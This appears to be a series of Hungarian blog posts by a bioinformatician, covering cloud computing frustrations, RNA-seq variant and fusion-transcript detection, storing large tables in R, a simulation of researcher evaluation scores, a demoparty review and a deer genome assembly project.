Miközben a NIIF-el hadakoztam, hogy hozzáférést szerezzek, vészmegoldásként regisztráltam az MTA párafelhőjébe. Már a kiírásból láttam, hogy ez édes kevés lesz, de még mindig jobb alternatívának tűnt, mint az asztalomon álló gép. Illetve még ez sem teljesen igaz, mert a munkahelyi gépemben 32GB memória van, amit az MTA felajánl, abban legfeljebb 16.

Ha viszont több ilyen gépet használhatok egyszerre, az kárpótolhatja ezeket a hiányosságokat. Regisztráció előtt át is néztem az elfogadott pályázatokat, és találtam pár embert az intézet más csoportjai között, akik aktívan használják az MTA ködöt. Felkerestem egyiküket, aki elég lesúlytó véleménnyel volt a kezdeményezésről, mert ő arra számított, hogy csak belép és minden bioinformatikai program feltelepítve ott várja, klikkel egyet és PDF-ben kijön a cikk.

Mint azt az ismertető is tanúsítja, ők nem adnak szolgáltatást, hanem infrastruktúrát. Szegény bioinformatikusunk csupán egyetlen távoli gépet használt, ami teljesítményben nem volt jobb annál, amiről használta azt. El is hiszem, hogy csalódott volt.

Engem viszont lelkesített a dolog, ezért el is küldtem a projekt igénylést. Bár az ismertető szerint egy héten belül válaszolnak, ez az én esetemben két hét lett. Közölték, hogy a gőzfürdő betelt. Igen kérem, nincs szabad kapacitásuk.

Ajánlom mindenki figyelmébe a demagóg prezentációkat. Itt például a 8. dián a erőforrás lefoglalása 10-20 perc. Hát persze, akkor nekem mi tart fél évig? De a főoldalon is olyan hülyeségek olvashatóak, hogy a desktop géptől a szuperszámítógép fürtökig bármit létrehozhatunk. Én csak 5 nyavajás gépet igényeltem, mert sejtettem, hogy ez nem az Amazon. Hol van ez egy szuperszámítógép fürttől? De a másik mondatuknak sincs semmi értelme: "Az adatok biztonságos tárolását a legkorszerűbb OpenStack felhő alkalmazása biztosítja". Aki ezt írta, az nincs tisztába azzal, mi is az OpenStack. A pályaudvarokon sem a konténer emelő daru biztosítja a rakomány tárolását.

Azt írták, januárban gépbővítés lesz és akkor kapok hozzáférést. Márciusban azért megjegyeztem nekik, hogy nem lehetett túl sikeres a bővítés, mert még mindig nem kaptam semmit. Ismét egy hetet kellett várni, hogy válaszoljanak. A bővítés sikeres volt, délután megkapom az instrukciókat, hogyan léphetek be. Sajnos a levél azt nem mondta, melyik délután.

Ezek a levélváltások egy Jane Austen regényben még elmennek, de informatikával foglalkozó emberektől nem elfogadható.

A bioinformatikában vannak dolgok, amiket érdemes megcsinálni, mert jó eredményt adnak. Vannak dolgok, amiket érdemes megcsinálni, még akkor is, ha tudjuk, hogy az eredmény nem feltétlenül tükrözi a valóságot. Végezetül vannak dolgok, amiket meg lehet csinálni, de teljesen feleslegesek. Ma ez utóbbiról fogok írni.

Ez pedig nem más, mint a nukleotid variációk detektálása RNA-seq adatokból. Az, hogy kár erre az időt vesztegetni, csupán a személyes véleményem, a szakirodalom elég sokat foglalkozik vele és a Sangerben is volt egy kolléga, aki elmélyült a témában, vele beszélgettem.

Először is, miért gondolom, hogy értelmetlen? A kapott eredményeket nagyban befolyásolják a poszt transzkripciós nukleotid modifikációk. Ha látunk egy SNP-t az RNA-seq adatokban, az nem feltétlenül jelent genomi változást, elképzelhető, hogy a szekvenáló gép rosszul értelmezett egy módosított bázist. Továbbá ha az egyik allél tartalmaz egy olyan mutációt, ami megakadályozza a transzkript átírását (például korai stop kodont tartalmaz), arról nem kapunk információt a szekvenálás során, egyszerűen, mert nem képződik az allélról semmi. Egyik esetben sem ússzuk meg a DNS szekvenálást. Ha pedig mindenképp kell még egy szekvenálás, akkor mi értelme a vizsgálatnak?

Egyedül akkor van értelme, ha igazolni akarjuk, hogy egy SNP tényleg átíródik vagy sem. De ha a módosult fehérjére vagyunk kíváncsiak, akkor meg tömeg spektrometriát kell végezni.

Akik mégis végre akarják hajtani a vizsgálatot, érdemes követni a GATK ajánlását. A folyamat nagymértékben hasonlít a DNS feldolgozás lépéseire, ezért ismerős lehet annak, aki már csinálta (vagy olvasta ezt a bejegyzést).

Milyen eredményre számíthatunk? Semmi jóra. A fent említett kollégám a Sanger összes elérhető mellrák mintájára lefuttatta a GATK pipeline-t, majd az eredményeket összehasonlította az exom szekvenálásból kapott variációkkal. A fals pozitívok száma óriási volt. Úgy tudta valamelyest visszaszorítani a hibás találatok számát, hogy készített egy úgynevezett normál panelt. Ez azt jelenti, hogy fogott 120 normál mintát, azokon is lefuttatta a GATK-t, és amit abban talált, azt egy táblázatba rendezte, mint ismert hibát. Ezt használta szűrésre a rákos mintáknál. Az eredmények jobbak voltak, de még mindig nem érték el azt a szintet, amit egy SNP detektálótól elvárna az ember.

Ezt egy munkabeszámolón adta elő, ahol a normál panel méretének növelését célozta meg. Nem tudom, hogy utána mennyit foglalkozott a dologgal, de egy átlagos kísérletnél nincs lehetőség ekkora erőforrásokat mozgósítani, pláne, ha van egyszerűbb módja is a variációk azonosításának.

Az idei Assembly már elég régen történt, de csak mostanra sikerült mindent megnéznem. Mivel a demók az örökkévalóságnak szólnak, nem az adott pillanatnak, szerintem nyugodtan áttekinthetjük őket.

Zene

A demópartik közül az Assembly zenei kínálata szokott a leginkább tetszeni és ez idén sincs másképp. Ismét igen széles stílus kínálattal találkozhattunk. Dance kategóriában a Sunlight és a Latin space érte el, hogy bekerüljön a zenei gyűjteményembe. Fast kategóriában az agresszív nevű Super Dragon Power Turbo volt a legemlékezetesebb. El sem tudom képzelni, milyen adrenalin fokozó szót lehetne még belepréselni a címébe. A mellékvesém le is merült teljesen, a Listening music kategóriából semmi nem maradt meg bennem.

Intrók

Az 1k intrók nem voltak a legerőssebbek. A Shoot the core határozottan a Final Stage Boss utánérzése volt 1k kiadásban. Az akció elég lapos volt, különösen, hogy a gépemen 20 FPS-el ment. Olyan volt, mint egy akciófilm öreg emberekkel. A JavaScript kölykök viszont kitettek magukért. A Bloody Brilliant, mint neve is mutatja, brilliáns. A Voltra is tetszett, de csak azért mert 1k!  Ebben a mérettartományban JS-el ilyet készíteni igazi kihívás. A 64k nagy nevei itt nem képviseltették magukat, csupán a Mercury kemény magja bújt kamu csapatnév mögé. Mellesleg az ő produkciójuk volt a legkiemelkedőbb.

Wild

A videók egy kicsit csalódást keltettek. Nem voltak fraktálok, hiányoztak a drón felvételek. Egyedül az Antivirus 2017 csalt némi mosolyt az arcomra, de a sztori itt is kicsit inkoherens volt. A mini számítógépben volt egy kicsi billentyűzet, amit csak összezsugorított emberek nyomkodhattak? Lehet, csak én voltam túl földhöz ragadt. Természetesen nem maradhattak el a barkácsolt demo platformok sem. A kórházi kijelző demóplatformmá történő alakítása a hazai egészségügy helyzetét nem javítaná, de biztosan kellemesebb időtöltést nyújtana, még a digitális kultúra ellenzőinek is. A Legoból készített szintetizátoron játszó gépszörny impozáns volt, de őszintén szólva, nem értettem a lenyomott gomboknak milyen hatása van a produkcióra. A videóból ugyanis úgy tűnt, semmilyen. A csúcs természetesen a motorizált keverőpult volt, amit a zene vezérelt.

Demók

Végezetül jöjjöj a király kategória! A felhozatallal nem volt semmi probléma. Sokan kritizálják a Pyrotech demókat, és való igaz, rájuk jár a rúd. A csapat vezetője szokott panaszkodni, hogy már nem olyan könnyű összerántani a bandát, az alkalmazott kódbázis évek óta nem frissül, de azért igyekeznek kihozni a legjobbat abból, amijük van. A Sokia számomra olyan felemás volt. Egyrészt technikailag talán a legjobb demó volt, de mindebből alig látszik valami, mert a grafikai elemek egymásra vannak hányva, a rezgő, vibráló effektek meg lehetetlenné teszik, hogy látni lehessen, mi is zajlik a képernyőn. Fórumon, akik mindezt szóvá tették, azt a választ kapták, hogy nem tisztelik az alkotót és annak alkotását, miközben a demoscene tele van pocsék releasekkel. Nekem ez kicsit olyan, amintha egy filmrendező kifogásolná, hogy nem kapta meg az Oscart, mert milyen remek operatőri munka és színészi játék van a filmjében, miközben megfeledkezik róla, hogy a film címe: Bányászok harca éjfélkor az alagútban. Persze, ha nem lenne dráma, én sem tudnék miről írni. Akár hogy is, a Zoomin nem véletlenül nyert. A party látogatóinak bizonyára jobban feküdt egy olyan látványvilág, amit azonnal be tudtak fogadni. Ha mindenképp kellene egy nyertest választani, akkor talán a Geometry Gods lenne az. Rengeteg jó ötlet van benne és egyáltalán nem mentes a hibáktól, de többnek érzem, mint egy vegytiszta technológiai demonstrációt.

Arról, miként nézzen ki egy táblázat, már írtam korábban, hogy miként tároljuk azokat, még nem esett szó. Erre több módszer is létezik, ezekből szemezgetnék párat a teljesség igénye nélkül. A következő teszteket a GTEx RNA-seq táblázatával próbáltam ki, ami 1.7GB méretű. Ezt bárki letöltheti és további próbákat tehet vele. Az oszlopok az EnsEMBL gén azonosítók, az oszlopok pedig a megszekvenált minták.

Szöveges állományok

Természetesen a legegyszerűbb megoldás, ha csak úgy hagyjuk őket, ahogy vannak. A legnépszerűbb megoldások a tabulátorral vagy pontosvesszővel elválasztott szövegek (a GTEx az előbbi). Ezeket R-ben például nagyon egyszerű betölteni.

d1 <- read.table("count.tsv", check.names = F, sep = "\t")

Ha viszont megnézzük, milyen sebességgel kerül a memóriába ez a fájl, már nem olyan vidám a helyzet. A tesztelésre használt gépen ez 217.721 másodpercet vett igénybe. A readr csomag sokat lendíthet az olvasási sebességen.

d2 <- read_table2("count.tsv")

Ez kevesebb, mint fele idő alatt dolgozza fel a táblázatot (90.63 mp). De mi a helyzet, ha a rendelkezésre álló memória nem teszi lehetővé, hogy mindent beolvassunk? Szerencsére erre is van megoldás. A bigmemory csomag segítségével nem csak beolvashatjuk a táblázatunkat, de olyan elemzéseket is végezhetünk, amelyek korábban lehetetlenek lettek volna a kevés memória miatt.

d3 <- read.big.matrix("count.tsv", header = T)

Ez igazi sebesség, 36.569 másodperc! De sajnos van egy nagy hátránya a tisztán szöveges adatnak. Először is a metainformációk kezelése nehézkes. Képzeljük csak el, ha csak az agyból származó mintákkal akarunk foglalkozni. Valahogy ki kéne őket szűrni, de ahhoz egy másik táblázatot kellene felhasználnunk.

Természetesen nem megoldhatatlan a probléma, de miért mi párosítsuk az adatokat, ha erre már létezik kész megoldás?

SQL adatbázisok

Ez az adattárolás teljesen más formája. Egyrészt a táblák közötti kereszt referenciák kezelése jóval egyszerűbb lesz, másrészt maguk a táblázatok formája át fog alakulni. Az SQL nem teszi lehetővé, hogy mátrixunkat sor-oszlop formában tároljuk. Át kell alakítani azt egy három oszlopos formába, ahol az első oszlop a sor azonosító, a második az oszlop azonosító, a harmadik pedig a cella értéke, jelen esetben a nyers expressziós érték:

Elsőre talán bonyolultnak tűnik ez a tárolási módszer, de van egy előnye: többé nem kell két dimenzióba gondolkodnunk. A szöveges állományok esetén egy ha egy újabb dimenzióval szeretnénk bővíteni a táblázatot, akkor az rengeteg többlet munkával jár. SQL esetén mindez egy új oszlop felvételét jelenti.

Most már készíthetünk egy új táblát, amiben megfeleltetjük az EnsEMBL azonosítókat gén szimbólumoknak, adhatunk hozzájuk kromoszóma pozíciókat, bármit, amit szeretnénk. A semmit mondó minta azonosítókhoz is rendelhetünk további információkat, mint amilyen a páciens neme, a szövet típusa vagy a mintavétel ideje. Miként használhatjuk ezt R-ből?

Ha például MySQL-ben (vagy MariaDB-ben) csináljuk mindezt, akkor használhatjuk az RMySQL csomagot.

library(RMySQL)
con <- dbConnect(MySQL(), user="user", password="abc123", dbname="gtex", host="localhost")
rs <- dbSendQuery(con, "select * from count")
raw <- fetch(rs, n = -1)
count <- xtabs(count ~ gene + sample, data = raw)
count <- as.data.frame.matrix(count)

Sajnos ez a nagyfokú szabadság nincs jó hatással a sebességre. Bármilyen optimalizáció nélkül a fenti kódot kb. 10 perc után leállítottam, mert 32GB RAM mellett is swappelt.

NoSQL adatbázisok

Számomra igazi meglepetés, hogy nincs olyan NoSQL adatbázis, ami képes lenne GTeX mennyiségű adat tárolására. Természetesen, aki nagyon akarja, bele tudja erőltetni az adatokat bármibe, de a BigTable típusú adatbázisok alapesetben képtelenek kezelni több ezer oszlopot. A HBase 3-4 oszloppal boldogul hatékonyan. A Google-féle BigTable büszkén hirdeti, hogy 100 oszlop családdal is megbírkózik, míg a HyperTable max. 255-öt kezel. Ez meglepetés volt nekem.

Összegzés

Mikor elkezdtem ennek a posztnak az írását, abban reménykedtem, hogy a végén találok egy olyan megoldást, ami hatékonyan kezeli a nagy táblázatokat. A sok telepítés és próbálgatás után viszont úgy látom, egy ideig nem szabadulunk meg a jó öreg szöveges állományoktól. Akinek a fenti megoldásokon kívül jobb ötlete van, kommentben nyugodtan írja meg.

Míg más szakmáknál nem okoz gondot a dolgozók teljesítményének meghatározása, addig a tudományos életben ez igazi kihívás. Egyrészt nehéz meghatározni, milyen értékeket mérjünk, hiszen a kutatás-fejlesztés nagyfokú bizonytalansággal operál. A másik probléma a kutatók személyisége, ugyanis a teljesítményük firtatását személyes támadásnak veszik.

Mindezt egy racionalizált köntösbe burkolják és nem a mérés tényét kérdőjelezik meg, hanem a mérés módját. Többnyire megoldási javaslatot nem adnak, hanem éles kritikai hangon, alacsony valószínűségű forgatókönyvek felvázolásával támadják a rendszert.

A bírálatok másik közös jellemzője, hogy azt állítják, az adott módszer csak a kiagyalójának előnyös. Nem állítom, hogy ezek a mérések teljesen objektívek lennének, de a tapasztalatom az, hogy aki rendesen dolgozik, azt nem éri hátrányos megkülönböztetés.

Nézzük meg, most milyen jellemzők alapján értékelik a munkámat és egy kis szimulációval nézzük meg, mit kell tennie annak, aki kiváló minősítést akar szerezni.

Az értékelés alapja egy pontszám, ami a súlyozott összege különböző kutatói tevékenységeknek, mint például hány könyvet írt az illető, mennyi PhD hallgatója volt, stb. Mindezt az elmúlt 3 évre. A pontszámot a következő R függvénnyel lehet kiszámítani:

calcScore <- function(ifjournal, topjournal, book, sumif, patent, cite, grad, phdnum, phdgrad, mscgrad, bscgrad, grant){
score <- ifjournal * 4 +     # Number of journal with IF
         topjournal * 20 +   # Number of top journals
         book * 5 +          # Number of books
         sumif * 1.2 +       # Sum of IFs
         patent * 5 +        # Number of patents
         cite * 0.1 +        # All citations (not just the last 3 years)
         grad * 20 +         # Number of degrees
         phdnum * 4 +        # Number of PhD students
         phdgrad * 4 +       # Number of graduated PhD students
         mscgrad * 2 +       # Number of graduated MSc students
         bscgrad * 1 +       # Number of graduated BSc students
         grant * 5           # Grants (million HUF)
return(score)
}

A topjournals egy nagyon homályos meghatározás, valami olyasmi, hogy olyan első vagy utolsó szerzős Q1 lapban megjelent publikáció, ahol nagyon rövid idő alatt nagyon sokan hivatkoznak rá, de képtelen voltam megjegyezni. Nekem úgy tűnik a gyakorlatban ilyen senkinek nincs, ezért a szimulációban is rendre 0 értékkel szerepel.

Ez a kutatói pontszám az én esetemben 130 körül van, illetve csak 48, mivel egyik cikkem sem itteni munkából származik, és mint ilyen, nem is számít az étékelésbe. Tudományos munkatárs esetén 150 pontot kell elérni, főmunkatárs esetén 300-t a kiváló minősítéshez (tanácsadónak az elképesztő 600-t). Lássuk, mi kell ehhez!

num_sym <- 1000

scientists <- data.frame(ifjournal = rep(0, num_sym),
topjournal = rep(0, num_sym),
book = rep(0, num_sym),
sumif = rep(0, num_sym),
patent = rep(0, num_sym),
cite = rep(0, num_sym),
grad = rep(0, num_sym),
phdnum = rep(0, num_sym),
phdgrad = rep(0, num_sym),
mscgrad = rep(0, num_sym),
bscgrad = rep(0, num_sym),
grant = rep(0, num_sym),
score = rep(0, num_sym)
)

for(i in 1:num_sym){
  ifjournal <- sample(1:10, 1, replace = T)
  topjournal <- 0 # I do not think it is real
  book <- sample(0:3, 1, replace = T)
  sumif <- sum(rnorm(5,2, n = ifjournal))
  patent <- sample(0:1, 1, replace = T)
  cite <- sample(2:300, 1, replace = T)
  grad <- sample(1:3, 1, replace = T)
  phdnum <- sample(1:3, 1, replace = T)
  phdgrad <- sample(0:1, 1, replace = T)
  mscgrad <- sample(0:2, 1, replace = T)
  bscgrad <- sample(0:2, 1, replace = T)
  grant <- sample(0:5, 1, replace = T)
  score <- calcScore(ifjournal, topjournal, book, sumif, patent, cite,   grad, phdnum, phdgrad, mscgrad, bscgrad, grant)
  scientists[i,] <- c(ifjournal, topjournal, book, sumif, patent, cite, grad, phdnum, phdgrad, mscgrad, bscgrad, grant, score)
}

Remélem elnézitek nekem az apply hiányát. Tehát úgy számoltam, hogy maximum 10 cikke jelenhet meg az illetőnek, max 3 könyve, a cikkei átlag 5 impakt faktort érnek, lesz max 1 szabadalma, legfeljebb 300 citációja, 3 tudományos fokozata, 3 PhD hallgatója, akik közül legfeljebb 1 végez, MSc és BSc hallgatókból pedig max 2-2 fejezi be tanulmányait és legfeljebb 5 millió forintot szed össze pályázattal.

Nos, ezekkel a mutatókkal egy főmunkatárs csak átlagos értékelést kaphat. A szimulációmban egyetlen kiváló főmunkatárs sem lett. De egy tudományos munkatársaknak is fel kell kötnie a gatyát. Ha csak három cikke jelenik meg, akkor is minimum 20 IF-t össze kell gereblyézni, 251 citációval a teljes életműből és még jó, ha van 2 végzett PhD hallgatója is. (A saját PhD időmre visszagondolva, velem ezek alapján nem sok témavezető járt volna jól.)

A szimuláció legjobbjának 10 cikke volt, 47 impakt faktorral, 3 könyvet írt (évente egyet), egy szabadalmat hozott össze, élete során 287 citációt szedett össze, 3 fokozata van, 2 PhD hallgatója van, de egyik sem végzett, 2 MSc hallgatója már lediplomázott, BSc hallgatókkal nem foglalkozott és 4 millió forint pályázati pénze volt. A szimuláció nem mondja meg milye van még ennek az embernek, de két valamilye biztos nincs: élete és kiváló minősítése.

A főnököm nagyon szorgalmazza, hogy legyen egy szakdolgozóm. Meg is kérdezte, milyen elvárásokat fogalmazzunk meg a kiírásban. Persze, jó lenne, ha tudna programozni, jó lenne, ha nem most látna először Linuxot és még sorolhatnám. A realitás talaján maradva csak annyit kértem, Facebook és YouTube-on kívül csináljon mást is a számítógéppel.

Arra gondoltam, aki nem csak egy interaktív tévének tekinti a számítógépet, egyrészt kreatív, másrészt talán rendelkezik olyan képességekkel, hogy érti, miért nem lehet végtelen mennyiségű programot egyidejűleg futtatni, mi az a memória vagy miért lassul le a gép, ha a merevlemezről elkezd olvasni.

Mondanom sem kell, nem találtunk ilyen embert. Ezen kicsit meglepődtem. Most, hogy a számítógépek teljesítménye hihetetlen lehetőségeket ad, az internet tele van információval, hogyan valósítsuk meg a legvadabb álmainkat is, nem találni olyat, aki ezeket felhasználná?

Gyorsan körbe is kérdeztem ifjú munkatársaimat, hogyan ismerkedtek meg a számítógépekkel és mit csináltak vele. Az első gépük már Pentium volt, és játszottak rajta. Egyikük tanult programozni, de utálta. Mondjuk ő most is előnybe részesíti a kódolás nélküli feladat megoldást. Ha egy feladatot meg lehetne oldani egy rövid scripttel vagy három másik program együttes alkalmazásával, általában az utóbbi mellett dönt.

Nekem annak idején nagyon tetszett, hogy a számítógép többféle feladatot meg tud oldani és erre én utasíthatom. Meg is próbáltam minél változatosabb feladatokra használni. Például mikor meg kellett tanulnom valamit, ami nehezen ment, írtam egy programot, ami kikérdezte az adott anyagot. Amikor először láttam egy animációt az immunrendszerről a Deltában, én is olyat akartam csinálni.

Egy barátom, akinek szintén PC volt az első gépe, QBasicben írt programot adott anyák napjára ajándékba. Ez mondjuk még az én szememben is ultrageek.

Eddig csak számítógépekről írtam, de természetesen az alkotás vágya nem kell, hogy arra korlátozódjon. Például egy gyerekkori barátom mosóporos dobozból robotot épített, ami emlékeim szerint valami mozgó bázisként funkcionált, mert a kisautói abból rajzottak elő.

De a nagyobb fiúk is, akik elég idősek voltak, hogy kismotorral járjanak, előszeretettel bütykölték járgányukat. Gyakran semmi értelmeset nem csináltak, csak szétszerelték, azután újra összerakták, miközben én szájtátva néztem az olajtól úszó, kimondhatatlan nevű alkatrészeket.

Kicsit szomorú vagyok, hogy így megcsappant az érdeklődés a buherálás iránt. El is határoztam, az én gyerekem nem ilyen lesz. Amikor csak módom volt rá, olyan játékokat játszottam vele, ahol fakockákból építeni kell vagy összerakni valamit.

Az elején egészen jól ment, látszott rajta, hogy élvezi. Aztán történt egy gubanc. A kockatorony, amit építettünk, másfél méter magasan elkezdett imbolyogni és leomlott. Ezen csemetém úgy felhúzta magát, felkapta a kockákat és elkezdte dobálni őket, majd tüntetőleg leült a YouTube elé és Kindertojás kicsomagoló videókat nézett. Minden további kísérletem a jövő nagy buherátorának felnevelésére kudarcot vallott.

Ahogy néztem, az jutott eszembe, hogy talán a tevékenység figyelemmel kísérése is olyan, mintha mi magunk csinálnánk. Hiszen nekem is mennyire tetszett, ha a nagyokat nézhettem motor szerelés közben. Az, hogy mindez manapság képernyőn keresztül történik, igazából részletkérdés.

Talán azért álltam neki annak idején animációt készíteni, mert nem tudtam, hogyan kell? Az információ hiánya váltja ki az emberekből a cselekvést? Esetleg a túl sok információ az, ami elrettenti az embereket? Hiszen ha kiderül, mennyi energia kell például egy animáció elkészítéséhez, sokan talán bele sem kezdenének.

A túl sok információ paralizáló hatásának érzékeltetésére van egy anekdota: Egy juhász, amikor látta, hogy egyik birkájának hályog nőtt a szemén, bicskájával eltávolította azt. Egyik ilyen műtétet meglátta egy városi ember és elkezdte magyarázni a juhásznak, mennyire veszélyes, amit csinál és milyen bonyolult dolog is ez. Ezek után a juhász keze remegni kezdett és többet egyetlen birkát sem gyógyított meg.

Az RNA-seq adatokat nem csak expressziós változások meghatározására használhatjuk. A readek segítségével azt is megtudhatjuk, vannak-e mintáinkban fúziós transzkriptek. A fúziós transzkripteknek alapvetően két csoportja van. Az első, amikor az RNS polimeráz valami oknál fogva nem áll meg és két egymás közelében lévő transzkriptet ír át, majd ezek a további lépések során sem válnak el.

A másik csoportba azok a fúziós transzkriptek tartoznak, amelyek mögött genomi átrendeződés van. Ilyenkor egy reciprok transzlokáció következik be a genomi DNS-ben, ami szabványos transzkriptet eredményez és arról fehérje tud képződni.

Fúziós transzkripteket elsősorban tumor mintákban keresnek, de egyre több bizonyíték van rá, hogy normál mintákban is előfordulhatnak. Bioinformatikai szempontból a fúziós transzkript keresés nem más, mint olyan szekvenciák azonosítása, amelyek a fúziókat átérik. Ezek lehet szokatlan távolságú read párok, vagy olyan readek, amelyek a töréspont egyik végén indulnak, de a másikon végződnek.

Nyilvánvaló, minél hosszabbak a readek, annál biztosabbak lehetünk a fúzió valódiságáról, de érdemes megjegyezni, hogy a referencia szekvencia alapú megközelítéseknél (vagyis ha illesztjük a readeket) vannak bizonyos nehézségek.

Először is, a géncsaládok szekvenciái hasonlóak. Ez könnyen vezethet oda, hogy az illesztőprogram képes két távoli szekvenciára elhelyezni a readeket. A tapasztalat az, hogy a szoftveres úton azonosított fúziós transzkriptek nagy százaléka műtermék, ezért ismét csak megjegyzem, kísérletes validálás nélkül ne higgyjünk el semmit, amit a képernyőn látunk.

Én alapvetően két programot használtam. Az első az EricScript. A letölthető adatbázis ember esetén nekem nem működött, de ha magam készítettem el azt a Fasta fájlokból, akkor zökkenőmentes volt. Függőségei: Samtools, amiből csak a 0.1.19 verziót fogad el és a Blat. Ez utóbbi fordítását a dokumentáció rosszul jelöli, a helyes parancs a következő:

make -f makefile BINDIR=.

A program meglepően lassú és viszonylag kevés fúziós transzkriptet ad vissza. Egyes publikációk ezt tartják a legpontosabb programnak.

Tettem egy kísérletet a SOAPFusion-el is, de ezt nem sikerül használnom. Az EnsEMBL-ről letöltött GTF állományt nem szerette. A forráskód átnézése után a következő egy sorossal tudtam olyan GTF fájlt generálni, amit elfogadott:

grep "gene_id" ref_annot.gtf | grep transcript_id | grep gene_name | grep transcript_name >soap.gtf

A másik furcsaság, hogy a kromoszóma neveknek tartalmaznia kell a chr karaktert. A furcsa ebben az, hogy a forráskódban láttam egy részt, ami azonosítás után rögtön le is vágja azt. A formázások ellenére nem készített transcript.fa állományt a referencia genomból, ami a további lépésekhez elengedhetetlen, de hibaüzenetet sem adott, ezért tovább nem dolgoztam vele. Bár nem ez lenne az első alkalom, hogy kifogott rajtam a programcsalád egy tagja.

A STARFusion egy STAR illesztőre épülő fúzió detektáló program. Előnye, hogy rendkívül gyors, hátránya, hogy 30GB memória alatt el sem érdemes indítani. A STAR illesztő futtatása rejtve marad a felhasználó elől, de nekem néhány esetben szükségem volt, hogy saját magam futtassam azt. A STARFusion ugyanis rendezett BAM fájllal dolgozik és a sortBAMmemori opcióban megadott memória nagysága egyes nagy méretű BAM fájloknál nem elégséges. Érdemes lenne ezt a paramétert kivezetni a STARFusion-be. A dokumentáció egyébként részletes és pontos. Ugyanakkor furcsa, hogy az összehasonlító cikkek előszeretettel megfeledkeznek róla.

A programok pontosságáról nincs első kézből információm, mert eddig egyetlen projekt sem, ahol fúziós transzkripteket kerestünk, jutott el a validálásig. Egyedül annyit mondhatok, hogy a TCGA adatokon a STARFusion megtalál mindent, amit ebben az adatbázisban leírtak, sőt, még többet is.

Az adatbázis elkészítéséhez a PRADA programot használták, de agresszíven kiszűrtek egy csomó transzkriptet. Például azokat is, amelyek ötnél több tumor mintában előfordultak. Hiába, nem akarják, hogy az általuk elkészített adatbázisból mások írjanak cikket.

Úgy adódott, hogy adatbázisokat kellett keresnem. A keresés közben rengeteg halott vagy zombi állapotban lévő oldallal találkoztam. Egyes esetekben viszont a régi oldalak éltek és valami megmagyarázhatatlan csoda folytán még működtek is! Túl sok értékük nincs, de mai szemmel nézve mosolyogtató látni a tíz éves megoldásokat.

Csatlakozzatok velem egy utazásra, ahol nincs JavaScript, nincs (vagy alig van) CSS, de vannak animált GIF-ek, rég elfeledett böngészők és 16 bites színek.

Az első Neal mutációs tudástára. Mindjárt egy IFRAME keretes weboldal köszönt ránk. Vagány napszemüvegek az oldal tetején, hogy lássuk, Neal milyen laza csávó volt a '90-es évek végén. De már akkor is ott figyelt a Big Data! Az akkori lehetőségekhez képest, persze. Neal ugyanis figyelmezteti az egyszerű felhasználót, hogy adatbázisának letöltése 2-3 órát vesz igénybe, ha modemmel próbálkozunk. Sajnos sosem fogjuk megtudni, hogy a Windows 3.1 alatt is futtatható programok milyen gyorsan töltődnek le a mai sávszélességgel, mert a linkek legtöbbje nem működik.

Külön érdekesség a linkek, ami az AltaVista előtti hagyományokat követi. Annak idején ugyanis a weboldalak tartalmaztak linkeket más, érdekes, gyakran teljesen irreleváns oldalakra. Mindenki maga gyűjtögette az általa hasznosnak ítélt tartalmakat, amiket aztán megosztottak másokkal.

Ez a koreai weboldal csak nyolc éves, de mintha az ezredforduló előtt készült volna. A gyönyörű gombok, az oldal alján meg figyelmeztetés, hogy 1280x1024-es felbontásban érdemes nézni az oldalt. A flexibilis UI-k világában meglepő, hogy annak idején a weboldalakat egy bizonyos felbontásra lőtték be.

Végül jöjjön a koronaékszer. Egy 2000-ből származó cikk adatai küszködnek itt az idő vas fogával. Az oldal megtekintéséhez Netscape kellene, abból is a 4-es verzió, de a mai böngészők is elég jól megbírkóznak az oldallal. Van némi CSS, de a formázások többsége a HTML kódban található.

Egy újabb régi munkára került fel a pont. Megjelent a második genom szekvenálásból származó cikkem.

A szarvassal már régóta foglalkoztak az intézetben. Mikor PhD hallgató voltam, már akkor is rengeteg előadást hallottam a vele folytatott munkákról. Ha jól emlékszem, 2014 körül jött el az idő, hogy a genomot is megszekvenálják. De nem az a csoport szekvenált, aki eddig szarvasozott, hanem egy másik csoport és talán itt kezdődött az az ellentét, ami végül egy hatalmi vitába torkollott.

Az elején az egész genom egy nagy rakás FASTQ read volt. Már az összerakás sem ment zökkenő mentesen, hála a pécsi szuperszámítógépnek, ami valahogy soha nem akart egy hónapnál hosszabb ideig üzemelni. Végül mégis lefutott az ALLPATHS és a nagy rakás FASTQ-ból lett egy kisebb rakás scaffold.

Igazából már ezzel is dolgoztak, mert emlékszem, kellett SNP-ket kibányásznom a szekvenciákból és a mitokondriális DNS vizsgálatok is mintha ebből merítkeztek volna.

Teljes mellszélességgel akkor kezdtem dolgozni az adatokkal, amikor felmerült az ötlet, hogy a genetikai térkép alapján próbáljuk meg összerakni a scaffoldokat pszeudó kromoszómákká. Elöször azonosítottuk a genetikai markereket, amelyeket a genetikai térképezés során használtak. Azokat a scaffoldokat, amelyek tartalmazták ezeket a marker szekvenciákat, azonnal el tudtuk helyezni a képzeletbeli kromoszómán. Ezen marker szekvenciákat, ha tudtuk, a szarvasmarha genomon is megkerestük.

Ha két marker ugyan azon a kromoszómán volt a szarvasban és a szarvasmarhában is, akkor feltételeztük, hogy azok a scaffoldok, amelyek Blasttal elhelyezhetőek a szarvasmarha genomra és a két marker között vannak, a szarvas genomban is a két marker között lesznek.

Mivel nem volt sok marker, így is sok lyuk tátongott a pszeudo kromoszómákon. Személy szerint itt meg is álltam volna, de akkor jött az újabb ötlet: vegyük bele a szarvasmarha gének sorrendjét is a játékba, mintha azok is markerek lennének. Ha tehát két marker között volt egy gén a szarvasmarha genomban, akkor úgy vettük, hogy a szarvasban is ott van.

Közben egyre több cikk jelent meg, ahol sika szarvast meg más rokon fajokat szekvenáltak tizesével, miközben mi egyetlen genommal vesződtünk. Volt egy szerencsétlen próbálkozás, hogy újabb szekvenálást indítunk, hosszabb readekkel vagy hosszabb távolsággal a readpárok között, de a pénzügyi helyzet közbeszólt. Inkább újabb ötleteket eszeltünk ki, hogy a szarvasmarha genom információkat a szarvasra alkalmazzuk.

Többször hangoztattam, hogy túl sok információt veszünk át más genomokból, ami nem feltétlenül igaz a szarvasra. Jutalmul részt vehettem egy megbeszélésen, ahol egyetlen szót sem kellett szólnom, cserébe tudomány történeti kiselőadást hallhattam arról, hogy az első lépések az ismeretlenbe nem feltétlenül a helyes eredményt adják. Például a nagy földrajzi felfedezések idején rajzolt térképek közelében sincsenek a kontinensek valódi formájával. Ez kétségtelenül igaz, de továbbra sem tudtam szabadulni a gondolattól, hogy túl nagyvonaltúak kezeljük az evolúciós folyamatokat.

